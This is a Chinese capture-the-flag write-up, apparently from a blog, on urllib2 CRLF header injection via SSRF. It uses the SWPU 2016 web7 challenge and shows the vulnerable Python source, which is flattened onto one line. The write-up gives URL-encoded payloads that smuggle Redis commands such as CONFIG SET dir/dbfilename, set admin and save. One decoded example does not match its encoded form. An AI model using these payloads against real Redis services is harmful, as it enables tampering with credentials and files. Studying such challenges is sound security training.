当前位置: 首页 > news >正文

urllib2 HTTP头部注入

文章目录

    • 注入原理
    • 例题 [SWPU 2016]web7


注入原理

参考文章

应用场景是具有SSRF漏洞,结合CRLF注入
我们以redis数据库为例,当存在SSRF时我们伪造以下请求

http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0a:6379/foo

解码一下,执行过程就是将修改Redis的工作目录为 /tmp,然后修改Redis的数据库文件名为 evil,路径为默认端口的/foo

http://127.0.0.1
CONFIG SET dir /tmp
CONFIG SET dbfilename evil
:6379/foo

然后就可以执行相关操作,比如修改用户的密码
再次利用ssrf漏洞进行修改并保存

http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/foo

解码结果如下

http://127.0.0.1
set admin 123456
save
:6379/foo

例题 [SWPU 2016]web7

源码

#!/usr/bin/python 
# coding:utf8__author__ = 'niexinming'import cherrypy
import urllib2
import redisclass web7:@cherrypy.exposedef index(self):return "<script> window.location.href='/input';</script>"@cherrypy.exposedef input(self,url="",submit=""):file=open("index.html","r").read()reheaders=""if cherrypy.request.method=="GET":reheaders=""else:url=cherrypy.request.params["url"]submit=cherrypy.request.params["submit"]try:for x in urllib2.urlopen(url).info().headers:reheaders=reheaders+x+"<br>"except Exception,e:reheaders="错误"+str(e)for x in urllib2.urlopen(url).info().headers:reheaders=reheaders+x+"<br>"file=file.replace("<?response?>",reheaders)return file@cherrypy.exposedef login(self,password="",submit=""):pool = redis.ConnectionPool(host='127.0.0.1', port=6379)r = redis.Redis(connection_pool=pool)re=""file=open("login.html","r").read()if cherrypy.request.method=="GET":re=""else:password=cherrypy.request.params["password"]submit=cherrypy.request.params["submit"]if r.get("admin")==password:re=open("flag",'r').readline()else:re="Can't find admin:"+password+",fast fast fast....."file=file.replace("<?response?>",re)return file
cherrypy.config.update({'server.socket_host': '0.0.0.0','server.socket_port': 8080,})
cherrypy.quickstart(web7(),'/')

可以看到引入urllib2模块,题目逻辑比较清晰,就是要登录admin才能获取flag,admin的密码就在redis数据库中,然后input中使用了urllib2.open().info().headers应该是可以利用SSRF来注入redis修改admin的密码的。

我们直接修改密码(redis默认端口为6379)

http://127.0.0.1%0d%0aset%20admin%20123456%0d%0a:6379//解码如下
http://127.0.0.1
set admin 123456
:6379

在这里插入图片描述

相关文章:

  • 【递归 回溯】LeetCode-226. 翻转二叉树
  • 还在用nvm?来试试更快的node版本管理工具——fnm
  • 【C语言】自定义类型——枚举、联合体
  • 【Android Studio】各个版本下载地址
  • Springboot访问html页面
  • ansible在ubuntu下的安装和使用
  • Android Studio: 解决Gradle sync failed 错误
  • Opencv 入门三(视频滑动条窗口)
  • app设置为HomeLauncher后,如果进行adb install安装,界面会黑屏问题排查记录
  • SVN搭建指导
  • c语言:求算数平均数|练习题
  • 机器学习之逻辑回归,一文掌握逻辑回归算法知识文集
  • 回归预测 | MATLAB实现SABO-LSTM基于减法平均优化器优化长短期记忆神经网络的多输入单输出数据回归预测模型 (多指标,多图)
  • 【HarmonyOS开发】ArkUI实现下拉刷新/上拉加载
  • drf知识--01
  • CAP 一致性协议及应用解析
  • CentOS学习笔记 - 12. Nginx搭建Centos7.5远程repo
  • iOS筛选菜单、分段选择器、导航栏、悬浮窗、转场动画、启动视频等源码
  • Javascripit类型转换比较那点事儿,双等号(==)
  • JavaScript的使用你知道几种?(上)
  • Java新版本的开发已正式进入轨道,版本号18.3
  • ng6--错误信息小结(持续更新)
  • Three.js 再探 - 写一个跳一跳极简版游戏
  • VuePress 静态网站生成
  • 基于组件的设计工作流与界面抽象
  • 记一次用 NodeJs 实现模拟登录的思路
  • 前端性能优化--懒加载和预加载
  • 异步
  • 看到一个关于网页设计的文章分享过来!大家看看!
  • SAP CRM里Lead通过工作流自动创建Opportunity的原理讲解 ...
  • $.ajax中的eval及dataType
  • (175)FPGA门控时钟技术
  • (Java实习生)每日10道面试题打卡——JavaWeb篇
  • (附源码)springboot家庭装修管理系统 毕业设计 613205
  • (附源码)流浪动物保护平台的设计与实现 毕业设计 161154
  • (机器学习的矩阵)(向量、矩阵与多元线性回归)
  • (四)TensorRT | 基于 GPU 端的 Python 推理
  • (图)IntelliTrace Tools 跟踪云端程序
  • (一)Neo4j下载安装以及初次使用
  • (转)Mysql的优化设置
  • (转)视频码率,帧率和分辨率的联系与区别
  • .bat批处理(六):替换字符串中匹配的子串
  • .NET Core 网络数据采集 -- 使用AngleSharp做html解析
  • .NET Core实战项目之CMS 第十二章 开发篇-Dapper封装CURD及仓储代码生成器实现
  • .NET HttpWebRequest、WebClient、HttpClient
  • .Net MVC + EF搭建学生管理系统
  • .Net Remoting常用部署结构
  • .NET框架设计—常被忽视的C#设计技巧
  • /etc/sudoer文件配置简析
  • @for /l %i in (1,1,10) do md %i 批处理自动建立目录
  • @html.ActionLink的几种参数格式
  • @四年级家长,这条香港优才计划+华侨生联考捷径,一定要看!
  • [20171102]视图v$session中process字段含义
  • [20180129]bash显示path环境变量.txt
  • [2669]2-2 Time类的定义